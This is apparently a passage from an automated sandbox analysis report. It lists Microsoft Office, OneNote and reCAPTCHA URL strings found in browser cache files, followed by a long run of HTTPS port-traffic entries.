Source: chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_289.2.dr	String found in binary or memory: https://support.office.com/article/7afcb4f3-4aa2-443a-9b08-125a5d692576
Source: chromecache_306.2.dr	String found in binary or memory: https://support.office.com/article/ec43ed03-eb3c-4a10-8d9d-e9e5433c9ed2
Source: chromecache_286.2.dr	String found in binary or memory: https://tb.events.data.cloudapp.onecollector.akadns.net/OneCollector/1.0/
Source: chromecache_255.2.dr	String found in binary or memory: https://twitter.com
Source: chromecache_306.2.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/
Source: chromecache_306.2.dr	String found in binary or memory: https://uci.edog.cdn.office.net/mirrored/smartlookup/
Source: chromecache_306.2.dr	String found in binary or memory: https://uciserviceintcdnwus.blob.core.windows.net/mirrored/smartlookup/
Source: chromecache_261.2.dr, chromecache_225.2.dr	String found in binary or memory: https://usc-onenote.officeapps.live.com/o/RemoteUls.ashx
Source: chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	String found in binary or memory: https://www.apache.org/licenses/
Source: chromecache_268.2.dr, chromecache_287.2.dr, chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_328.2.dr, chromecache_295.2.dr, chromecache_202.2.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__.
Source: chromecache_268.2.dr, chromecache_287.2.dr, chromecache_296.2.dr, chromecache_209.2.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js
Source: chromecache_286.2.dr	String found in binary or memory: https://www.office.com/launch
Source: chromecache_306.2.dr	String found in binary or memory: https://www.onenote.com
Source: chromecache_317.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/mathassistant
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=af-ZA&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=am-ET&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ar-SA&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=as-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=az-Latn-AZ&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=be-BY&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bg-BG&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bn-BD&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bn-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=bs-Latn-BA&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ca-ES&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ca-ES-valencia&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=cs-CZ&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=cy-GB&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=da-DK&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=de-DE&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=el-GR&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=en-US&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=es-ES&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=et-EE&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=eu-ES&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fa-IR&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fi-FI&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fil-PH&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=fr-FR&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ga-IE&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=gd-GB&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=gl-ES&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=gu-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ha-Latn-NG&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=he-IL&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hi-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hr-HR&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hu-HU&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=hy-AM&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=id-ID&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ig-NG&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=is-IS&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=it-IT&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ja-JP&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ka-GE&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=kk-KZ&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=km-KH&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=kn-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ko-KR&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=kok-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ku-Arab-IQ&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ky-KG&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=lb-LU&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=lt-LT&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=lv-LV&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mi-NZ&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mk-MK&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ml-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mn-MN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mr-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ms-MY&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=mt-MT&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nb-NO&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ne-NP&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nl-NL&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nn-NO&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=nso-ZA&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=or-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pa-Arab-PK&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pa-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pl-PL&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=prs-AF&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pt-BR&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=pt-PT&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=quz-PE&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ro-RO&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ru-RU&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=rw-RW&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sd-Arab-PK&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=si-LK&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sk-SK&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sl-SI&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sq-AL&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sr-Cyrl-BA&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sr-Cyrl-RS&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sr-Latn-RS&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sv-SE&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=sw-KE&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ta-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=te-IN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tg-Cyrl-TJ&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=th-TH&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ti-ET&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tk-TM&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tn-ZA&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tr-TR&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=tt-RU&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ug-CN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=uk-UA&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=ur-PK&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=uz-Latn-UZ&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=vi-VN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=wo-SN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=xh-ZA&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=yo-NG&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=zh-CN&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=zh-TW&temporaryLocalization=true
Source: chromecache_242.2.dr	String found in binary or memory: https://www.onenote.com/officeaddins/meetings?ui=zu-ZA&temporaryLocalization=true

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
